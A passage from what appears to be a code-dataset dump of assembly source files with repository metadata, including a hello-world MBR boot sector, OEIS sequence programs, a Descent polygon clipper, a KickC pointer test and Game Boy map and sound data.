] | 1 | 2021-09-18T07:26:29.000Z | 2021-09-18T07:26:29.000Z | org 7C00h ; all the addresses of program will be calculated relative to 7C00h
use16 ; 16-bit code
cli ; disable interrupts
; null segment registers
mov ax, 0
mov es, ax
mov ds, ax
mov ss, ax
mov sp, 7C00h ; set up stack pointer (note: stack grows downwards)
sti ; enable interrupts
mov ax, 0003h ; set up videomode to show text
int 10h ; call bios interrupt 10h
mov ax, 1301h ; function number
mov bx, 000Ah ; 00 - page number, 0A - font color and background color
mov dx, 0000h ; row and column where the text is outputed
mov bp, string1 ; string1 address
mov cx, word [string1_len] ; string1 length
mov si, 20
loop1:
add dh, 1
add dl, 1
add bl, 1
int 10h
dec si
test si, si
jnz loop1
jmp $ ; its like infinite loop, jumps to itself
string1 db 'Hello World, MBR loaded!' ; define our string
string1_len dw ($ - string1) ; calculate string1 length
; now we need to fill up the program to 512 bytes
times 510 - ($ - $$) db 0 ; $ means address of current instruction, $$ there is 7C00h (cause in the beginning org 7C00h)
db 0x55, 0xAA ; last two bytes must be these cause of magic | 29.710526 | 121 | 0.701506 |
8d90165835776d090e9af478c6eb603561290eb6 | 405 | asm | Assembly | programs/oeis/130/A130481.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/130/A130481.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/130/A130481.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A130481: a(n) = Sum_{k=0..n} (k mod 3) (i.e., partial sums of A010872).
; 0,1,3,3,4,6,6,7,9,9,10,12,12,13,15,15,16,18,18,19,21,21,22,24,24,25,27,27,28,30,30,31,33,33,34,36,36,37,39,39,40,42,42,43,45,45,46,48,48,49,51,51,52,54,54,55,57,57,58,60,60,61,63,63,64,66,66,67,69,69,70,72,72,73,75,75,76,78,78,79,81,81,82,84,84,85,87,87,88,90,90,91,93,93,94,96,96,97,99,99
mov $1,$0
mod $1,3
div $1,2
add $0,$1
| 50.625 | 291 | 0.624691 |
a8b5f31667aef9cd003f81eb345ba88b737d61ec | 307 | asm | Assembly | oeis/040/A040381.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/040/A040381.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/040/A040381.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A040381: Continued fraction for sqrt(402).
; Submitted by Christian Krause
; 20,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40,20,40
trn $0,1
mod $0,2
mul $0,20
add $0,20
| 34.111111 | 190 | 0.677524 |
77c55ebf43eaea370645e2f728db645e2a58a764 | 373 | asm | Assembly | oeis/138/A138929.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/138/A138929.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/138/A138929.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A138929: Twice the prime powers A000961.
; Submitted by Jamie Morken(w1)
; 2,4,6,8,10,14,16,18,22,26,32,34,38,46,50,54,58,62,64,74,82,86,94,98,106,118,122,128,134,142,146,158,162,166,178,194,202,206,214,218,226,242,250,254,256,262,274,278,298,302,314,326,334,338,346,358,362,382
mov $2,1
lpb $0
sub $0,1
seq $2,15 ; Smallest prime power >= n.
lpe
mul $2,2
mov $0,$2
| 31.083333 | 205 | 0.683646 |
27ba9ac655553e776b56a5cf32e13264414d42c1 | 8,452 | asm | Assembly | source/3dasm/clipper.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | source/3dasm/clipper.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | source/3dasm/clipper.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | ; THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
; SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
; END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
; ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
; IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
; SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
; FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
; CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
; AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
; COPYRIGHT 1993-1999 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
.386
option oldstructs
.nolist
include pstypes.inc
include psmacros.inc
include gr.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: clipper.asm 1.10 1996/02/14 09:59:55 matt Exp $"
align 4
public free_point_num
;buffer of temp points for when clipping creates a new point
temp_points db MAX_POINTS_IN_POLY * size g3s_point dup (?)
free_points label dword
p = temp_points
rept MAX_POINTS_IN_POLY
dd p
p = p+size g3s_point
endm
free_point_num dd 0
;Vars for polygon clipper
nverts dd ? ;number of verts in poly
nv_cnt dd ? ;loop variable
plane db ?
_DATA ends
_TEXT segment dword public USE32 'CODE'
;get a temporary point. returns ebp=point.
get_temp_point: mov ebp,free_point_num
mov ebp,free_points[ebp*4]
inc free_point_num
mov [ebp].p3_flags,PF_TEMP_POINT ;clear proj,set temp
ifndef NDEBUG
cmp free_point_num,MAX_POINTS_IN_POLY
break_if e,"temp_point buf empty!"
endif
ret
;free a temporary point. takes esi=point
free_temp_point: push eax
dec free_point_num
mov eax,free_point_num
mov free_points[eax*4],esi
pop eax
ret
;initialize the free points
reset_temp_points: debug_brk 'how often does this get called?'
pushm edi,eax,ecx
mov free_point_num,0
lea edi,free_points
lea eax,temp_points
mov ecx,MAX_POINTS_IN_POLY
reset_loop: stosd
add eax,size g3s_point
loop reset_loop
popm edi,eax,ecx
ret
;clip a particular value (eg. x, y, u).
;assumes esi,edi=start,end points, ebp=dest point, and ebx/ecx=fraction
;stores new value and returns it in eax
clip_value macro ofs
mov eax,[edi].ofs ;end
sub eax,[esi].ofs ;-start
imul ebx
idiv ecx
add eax,[esi].ofs ;+start
mov [ebp].ofs,eax
endm
;clips an edge against one plane.
;takes esi (on) ,edi (off)=points, cl=plane flag (1,2,4,8 = left,right,bot,top)
;returns esi,edi=clipped points (edi new), bl=codes
;trashes eax,edx,ebp
clip_edge:
;compute clipping value k = (xs-zs) / (xs-xe-zs+ze)
;use x or y as appropriate, and negate x/y value as appropriate
mov ebx,[esi].x ;eax = xs
mov edx,[edi].x ;ebx = xe
test cl,CC_OFF_TOP+CC_OFF_BOT ;top or bot (y)?
jz not_y
mov ebx,[esi].y ;eax = ys
mov edx,[edi].y ;ebx = ye
not_y:
test cl,CC_OFF_LEFT+CC_OFF_BOT ;right or top (neg)?
jz not_neg
neg ebx
neg edx
not_neg:
mov plane,cl ;store
push ecx ;save plane
sub ebx,[esi].z ;ebx = xs-zs
mov ecx,ebx ;ecx = xs-zs
sub ecx,edx ;edx = xs-xe-zs
add ecx,[edi].z ;edx = xs-xe+zs+ze
;now frac=ebx/ecx
call get_temp_point ;ret ebp=point
;;mov ax,_Frame_count
;;mov [ebp].p3_frame,ax ;this point valid
clip_value x
mov [ebp].z,eax ;assume z=x
clip_value y
test plane,CC_OFF_TOP+CC_OFF_BOT ;top or bot (y)?
jz not_y2
mov [ebp].z,eax ;z=y
not_y2:
;check if uv values present, and clip if so
test [esi].p3_flags,PF_UVS ;uv values here?
jz no_clip_uv ;..nope
clip_value p3_u
clip_value p3_v
or [ebp].p3_flags,PF_UVS ;new point has uv set
no_clip_uv:
;check if lv values present, and clip if so
test [esi].p3_flags,PF_LVS ;lv values here?
jz no_clip_lv ;..nope
clip_value p3_l
or [ebp].p3_flags,PF_LVS ;new point has lv set
no_clip_lv:
pop ecx ;get plane back
;negate z if clipping against left or bot
test cl,CC_OFF_LEFT+CC_OFF_BOT ;right or top (neg)?
jz not_neg2
neg [ebp].z ;z=-x (or -y)
not_neg2:
;see if discarded point is temp point, and free it if so
mov edi,ebp ;return correct point
mov eax,edi
jmp code_point ;returns bl=codes
;clips a line to the viewing pyramid.
;takes esi,edi=points (pointers), al=codes_or
;return esi,edi=clipped points, one or both new
clip_line: pushm ebx,ecx,edx,ebp
mov ecx,1 ;plane flag
l_plane_loop: test al,cl ;off this plane?
jz l_not_this_plane
test [esi].p3_codes,cl ;this one on?
jz order_ok ;..yep
xchg esi,edi ;..nope
order_ok:
push edi ;save old off-screen point
call clip_edge ;esi=on, edi=off
;returns bl=new edi codes
pop eax ;get discarded point
;see if must free rejected point
test [eax].p3_flags,PF_TEMP_POINT
jz not_temp_eax
xchg esi,eax
call free_temp_point
mov esi,eax
not_temp_eax:
mov al,[esi].p3_codes ;get esi codes
test al,bl ;clipped away?
jnz l_clipped_away ;..yep
or al,bl ;get new codes_or
l_not_this_plane:
add ecx,ecx ;next plane
cmp ecx,16 ;done?
jne l_plane_loop ;..nope
l_clipped_away: popm ebx,ecx,edx,ebp
ret
;TEMPORARY - inline this code when working
;takes esi,edi=lists
;returns edi=end of new list, dx=new codes. trashes eax,ebx,edx,ebp,esi
clip_plane:
mov ebx,nverts
;copy first two verts to end
mov eax,[esi]
mov [esi+ebx*4],eax
mov eax,4[esi]
mov 4[esi+ebx*4],eax
mov nv_cnt,ebx ;loop variable
add esi,4 ;point at second
mov edx,0ff00h ;initialize codes
point_loop: mov eax,[esi] ;get current point
add esi,4
;go though list of points.
test [eax].p3_codes,cl ;cur point off?
jz cur_not_off ;..nope
;cur point is off. check prev and next
mov ebx,[esi-8] ;get prev
test [ebx].p3_codes,cl ;prev off?
jnz prev_off ;..yup, so nothing to clip
push eax ;save current point
;must clip cur (off screen) to prev (on screen)
pushm edx,esi,edi ;save codes,list pointers
mov esi,ebx ;esi=on screen
mov edi,eax ;edi=off screen
call clip_edge
mov eax,edi ;save new point
popm edx,esi,edi ;get codes,list pointers
mov [edi],eax ;store in dest list
add edi,4
or dl,bl ;update codes_or
and dh,bl ;update codes_and
pop eax ;restore current point
prev_off:
mov ebx,[esi] ;get next
test [ebx].p3_codes,cl ;next off?
jnz next_off ;..yes
push eax ;save current point
;must clip cur (off screen) to next (on screen)
pushm edx,esi,edi ;save codes,list pointers
mov esi,ebx ;esi=on screen
mov edi,eax ;edi=off screen
call clip_edge
mov eax,edi ;save new point
popm edx,esi,edi ;get codes,list pointers
mov [edi],eax ;store in dest list
add edi,4
or dl,bl ;update codes_or
and dh,bl ;update codes_and
pop eax ;get current back
next_off:
;see if must free discarded point
test [eax].p3_flags,PF_TEMP_POINT
jz not_temp
xchg esi,eax
call free_temp_point
mov esi,eax
not_temp:
jmp do_next_point
cur_not_off: mov [edi],eax ;store cur in dest buffer
add edi,4
or dl,[eax].p3_codes ;update codes_or
and dh,[eax].p3_codes ;update codes_and
do_next_point: dec nv_cnt
jnz point_loop
ret
;3d clip a polygon.
;takes esi=src list, edi=dest list, ecx=nverts, al=codes_or
;returns esi=list of clipped points, some of them new, ecx=new nverts, dx=codes
;esi at exit will be either of esi,edi at entry
clip_polygon: push ebp
mov nverts,ecx ;save
;now loop through each plane, a-clipping as we go
mov ecx,1 ;plane flag
mov dl,al ;dl = codes_or
;clipping from [esi] -> [edi]
p_plane_loop: test dl,cl ;off this plane?
jz p_not_this_plane
push esi ;save src ptr
push edi ;save dest ptr
;clip against this plane
call clip_plane ;when working, inline this code
;done clip for this plane
mov eax,edi ;end of dest loop
pop esi ;get start of dest buffer
sub eax,esi ;get delta
sar eax,2 ;get new vert count
mov nverts,eax ;save new value
pop edi ;new dest = old scr
test dh,dh ;check new codes_and
jnz p_clipped_away ;polygon all off screen
p_not_this_plane: add ecx,ecx ;next plane
cmp ecx,16 ;done?
jne p_plane_loop ;..nope
p_clipped_away: pop ebp
mov ecx,nverts ;new value
ret
_TEXT ends
;should I write a combined clipper/projector?
end
| 23.029973 | 80 | 0.704094 |
968d4fc425d81ae2ef5bccd3275de4c136f412a6 | 100 | asm | Assembly | Arquivos_ASM/soma.asm | Lavedonio/2019-PCS3216 | 5d82bdafc4cdcd54e82c8365cac5281567b505a4 | [
"MIT"
] | null | null | null | Arquivos_ASM/soma.asm | Lavedonio/2019-PCS3216 | 5d82bdafc4cdcd54e82c8365cac5281567b505a4 | [
"MIT"
] | null | null | null | Arquivos_ASM/soma.asm | Lavedonio/2019-PCS3216 | 5d82bdafc4cdcd54e82c8365cac5281567b505a4 | [
"MIT"
] | null | null | null | 'Soma 2 valores inseridos pelo usuário
org $0010
i D0
i D1
add D2,D1,D0
o D2
| 12.5 | 38 | 0.57 |
817b7dc2791d1163153bd3031d7315a9f18e303f | 600 | asm | Assembly | src/io/InputBufferAddChar.asm | jhm-ciberman/calculator-asm | f5305f345d7efdd616b34a485f7460f6789f4d9c | [
"MIT"
] | 2 | 2019-08-03T17:09:30.000Z | 2021-04-01T22:17:09.000Z | src/io/InputBufferAddChar.asm | jhm-ciberman/calculator-asm | f5305f345d7efdd616b34a485f7460f6789f4d9c | [
"MIT"
] | null | null | null | src/io/InputBufferAddChar.asm | jhm-ciberman/calculator-asm | f5305f345d7efdd616b34a485f7460f6789f4d9c | [
"MIT"
] | 1 | 2019-08-04T21:26:32.000Z | 2019-08-04T21:26:32.000Z | ;;;
; Adds a character to the input buffer
;
; params
; char - The character to add
;;;
proc InputBufferAddChar, char:BYTE
; if (char_count = 254) then return
mov dl, [_gr_input_char_count]
cmp dl, 254
je .finish
; buffer[char_count] = char;
mov dl, [_gr_input_char_count]
mov rax, _gr_input_buffer
add al, dl
mov BYTE[rax], cl
; char_count += 1
inc [_gr_input_char_count]
inc rax
; buffer[char_count] = NULL;
; This ensures the string always terminates with NULL
mov BYTE[rax], 0
.finish:
ret
endp | 20.689655 | 58 | 0.611667 |
34a0c050790c92ab71e7a78f2a618649ebc84a24 | 506 | asm | Assembly | so/overlay/src/overlay2.asm | bmnascimento/von-neumann-simulator | a36879939f2ccf58a8079b7730bac00e0ba29ce0 | [
"MIT"
] | null | null | null | so/overlay/src/overlay2.asm | bmnascimento/von-neumann-simulator | a36879939f2ccf58a8079b7730bac00e0ba29ce0 | [
"MIT"
] | null | null | null | so/overlay/src/overlay2.asm | bmnascimento/von-neumann-simulator | a36879939f2ccf58a8079b7730bac00e0ba29ce0 | [
"MIT"
] | 1 | 2020-09-04T01:12:08.000Z | 2020-09-04T01:12:08.000Z | @ 200
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
k ff
| 4.960784 | 5 | 0.598814 |
5476fc1b278e0c8a2440d261ddb5eae6ce9bb5a6 | 77 | asm | Assembly | data/test_stx.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | data/test_stx.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | data/test_stx.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | LDX #$44
OUT X
STX $00
OUT X
LDX #$21
OUT X
LDX $00
OUT X
| 6.416667 | 10 | 0.467532 |
fd76b1e15778a17833e43ec073111cc3a8e8dd4d | 234 | asm | Assembly | mc-sema/validator/x86_64/tests/FILD_64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86_64/tests/FILD_64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86_64/tests/FILD_64m.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
;TEST_BEGIN_RECORDING
lea rdi, [rsp-0x0c]
mov dword [rdi+00], 0x0000
mov dword [rdi+04], 0x0001
FILD qword [rdi]
mov edi, 0
;TEST_END_RECORDING
| 14.625 | 26 | 0.782051 |
6cd6a03c5fa4bd181d46eb4dfc4ac695606cf197 | 315 | asm | Assembly | programs/oeis/040/A040811.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/040/A040811.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/040/A040811.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A040811: Continued fraction for sqrt(840).
; 28,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56,1,56
mov $1,$0
cmp $0,0
sub $1,$0
gcd $1,2
add $1,26
add $0,$1
mul $0,$1
sub $0,728
| 26.25 | 189 | 0.603175 |
235909b64c2da9f62fa67008d74a70c290e1d02e | 2,249 | asm | Assembly | src/test/ref/pointer-cast.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/pointer-cast.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/pointer-cast.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // Tests casting pointer types to other pointer types
// Commodore 64 PRG executable file
.file [name="pointer-cast.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.const SIZEOF_UNSIGNED_INT = 2
.const SIZEOF_INT = 2
.const ub = $29
.const sb = -$29
.const uw = $3000
.const sw = -$3000
.label ub_screen = $400
.label sb_screen = $428
.label uw_screen = $450
.label sw_screen = $478
.segment Code
main: {
// *((byte*)ub_screen) = ub
lda #ub
sta ub_screen
// *((signed byte*)ub_screen+1) = sb
lda #sb
sta ub_screen+1
// *((word*)ub_screen+1)= uw
lda #<uw
sta ub_screen+1*SIZEOF_UNSIGNED_INT
lda #>uw
sta ub_screen+1*SIZEOF_UNSIGNED_INT+1
// *((signed word*)ub_screen+2) = sw
lda #<sw
sta ub_screen+2*SIZEOF_INT
lda #>sw
sta ub_screen+2*SIZEOF_INT+1
// *((byte*)sb_screen) = ub
lda #ub
sta sb_screen
// *((signed byte*)sb_screen+1) = sb
lda #sb
sta sb_screen+1
// *((word*)sb_screen+1)= uw
lda #<uw
sta sb_screen+1*SIZEOF_UNSIGNED_INT
lda #>uw
sta sb_screen+1*SIZEOF_UNSIGNED_INT+1
// *((signed word*)sb_screen+2) = sw
lda #<sw
sta sb_screen+2*SIZEOF_INT
lda #>sw
sta sb_screen+2*SIZEOF_INT+1
// *((byte*)uw_screen) = ub
lda #ub
sta uw_screen
// *((signed byte*)uw_screen+1) = sb
lda #sb
sta uw_screen+1
// *((word*)uw_screen+1)= uw
lda #<uw
sta uw_screen+1*SIZEOF_UNSIGNED_INT
lda #>uw
sta uw_screen+1*SIZEOF_UNSIGNED_INT+1
// *((signed word*)uw_screen+2) = sw
lda #<sw
sta uw_screen+2*SIZEOF_INT
lda #>sw
sta uw_screen+2*SIZEOF_INT+1
// *((byte*)sw_screen) = ub
lda #ub
sta sw_screen
// *((signed byte*)sw_screen+1) = sb
lda #sb
sta sw_screen+1
// *((word*)sw_screen+1)= uw
lda #<uw
sta sw_screen+1*SIZEOF_UNSIGNED_INT
lda #>uw
sta sw_screen+1*SIZEOF_UNSIGNED_INT+1
// *((signed word*)sw_screen+2) = sw
lda #<sw
sta sw_screen+2*SIZEOF_INT
lda #>sw
sta sw_screen+2*SIZEOF_INT+1
// }
rts
}
| 25.269663 | 63 | 0.618052 |
ba3d20f7df5844a438812bd5f8c229e4631d6f77 | 2,666 | asm | Assembly | source/rom10/r10_maps_u.asm | evanbowman/Red | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | 5 | 2021-08-30T16:18:55.000Z | 2021-10-30T20:23:32.000Z | source/rom10/r10_maps_u.asm | evanbowman/gbc-project | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | null | null | null | source/rom10/r10_maps_u.asm | evanbowman/gbc-project | 85735269a46757305a81ad39f47034bc6cd97846 | [
"BSD-2-Clause"
] | null | null | null | ;; generated by encode_room_layouts.py
r10_room_data_u::
;;0.json
DB $0e, $0e, $0e, $0e, $0e, $08, $39, $39, $39, $39, $02, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $39, $39, $39, $39, $39, $39, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $08, $39, $39, $38, $39, $39, $39, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $39, $39, $39, $39, $39, $38, $39, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $08, $39, $39, $39, $39, $39, $39, $39, $02, $0e, $0e, $0e, $0e, $0e, $0e, $08, $39, $39, $39, $39, $39, $39, $39, $39, $39, $02, $0a, $0e, $0e, $0e, $0c, $39, $39, $39, $39, $39, $39, $38, $39, $39, $39, $39, $39, $06, $0e, $0e, $0c, $39, $38, $39, $39, $39, $39, $39, $39, $39, $39, $38, $39, $06, $0e, $0e, $0c, $39, $39, $39, $39, $39, $39, $39, $39, $39, $39, $39, $39, $06, $0e, $0e, $0c, $39, $39, $39, $39, $39, $39, $38, $39, $39, $39, $39, $05, $0e, $0e, $0e, $0e, $0b, $38, $39, $39, $39, $39, $39, $39, $38, $39, $39, $06, $0e, $0e, $0e, $0e, $0e, $0d, $0b, $39, $39, $39, $39, $39, $39, $39, $05, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $39, $39, $39, $39, $39, $39, $05, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0b, $39, $39, $39, $39, $39, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0d, $0d, $0d, $0d, $0d, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e,
;;1.json
DB $0e, $0e, $0e, $0e, $0e, $08, $11, $11, $11, $11, $02, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $08, $11, $11, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $08, $11, $11, $10, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0a, $0a, $08, $11, $11, $11, $11, $11, $11, $11, $11, $02, $0a, $0a, $0a, $0a, $11, $11, $11, $11, $11, $11, $11, $11, $11, $10, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $10, $11, $11, $11, $11, $11, $10, $11, $11, $11, $11, $11, $11, $11, $11, $11, $11, $10, $10, $11, $11, $11, $11, $11, $11, $11, $10, $11, $11, $11, $11, $11, $11, $11, $11, $11, $0d, $0d, $0d, $0d, $0b, $11, $11, $11, $11, $11, $11, $11, $05, $0d, $0d, $0d, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $11, $11, $11, $05, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $10, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0c, $11, $11, $11, $11, $11, $11, $06, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0e, $0b, $11, $11, $11, $11, $05, $0e, $0e, $0e, $0e, $0e,
r10_room_data_u_end::
| 296.222222 | 1,283 | 0.414104 |
f3d395223d1fe063c46a1894a5db27daa44a6ab5 | 263 | asm | Assembly | libsrc/games/aquarius/bit_open_di.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/games/aquarius/bit_open_di.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | libsrc/games/aquarius/bit_open_di.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | ; $Id: bit_open_di.asm,v 1.2 2002/04/17 21:30:24 dom Exp $
;
; Mattel Aquarius 1 bit sound functions
;
; (Open sound port) and disable interrupts for exact timing
;
; Stefano Bodrato - Dec 2001
;
XLIB bit_open_di
.bit_open_di
di
ret
| 17.533333 | 59 | 0.646388 |
7e992707190d69eb0d8927c5aef2cea7ec4fc2e4 | 730 | asm | Assembly | audio/sfx/cry24_1.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | audio/sfx/cry24_1.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | audio/sfx/cry24_1.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | SFX_Cry24_1_Ch5:
duty_cycle_pattern 3, 3, 0, 0
square_note 15, 15, 7, 1664
square_note 10, 14, 6, 1668
square_note 15, 13, 7, 1680
square_note 8, 13, 5, 1680
square_note 6, 12, 4, 1672
square_note 5, 13, 3, 1648
square_note 4, 13, 3, 1632
square_note 8, 12, 1, 1600
sound_ret
SFX_Cry24_1_Ch6:
duty_cycle_pattern 0, 0, 1, 1
square_note 15, 11, 7, 1601
square_note 10, 9, 6, 1602
square_note 15, 10, 7, 1617
square_note 8, 10, 5, 1617
square_note 6, 9, 4, 1607
square_note 5, 10, 3, 1585
square_note 4, 9, 3, 1570
square_note 8, 7, 1, 1537
sound_ret
SFX_Cry24_1_Ch8:
noise_note 15, 14, 4, 60
noise_note 10, 12, 7, 76
noise_note 10, 12, 7, 60
noise_note 12, 11, 7, 76
noise_note 15, 10, 2, 92
sound_ret
| 21.470588 | 30 | 0.694521 |
315bae860cecf8e955598f2367a0599ed9ee2ce3 | 400 | asm | Assembly | oeis/084/A084010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
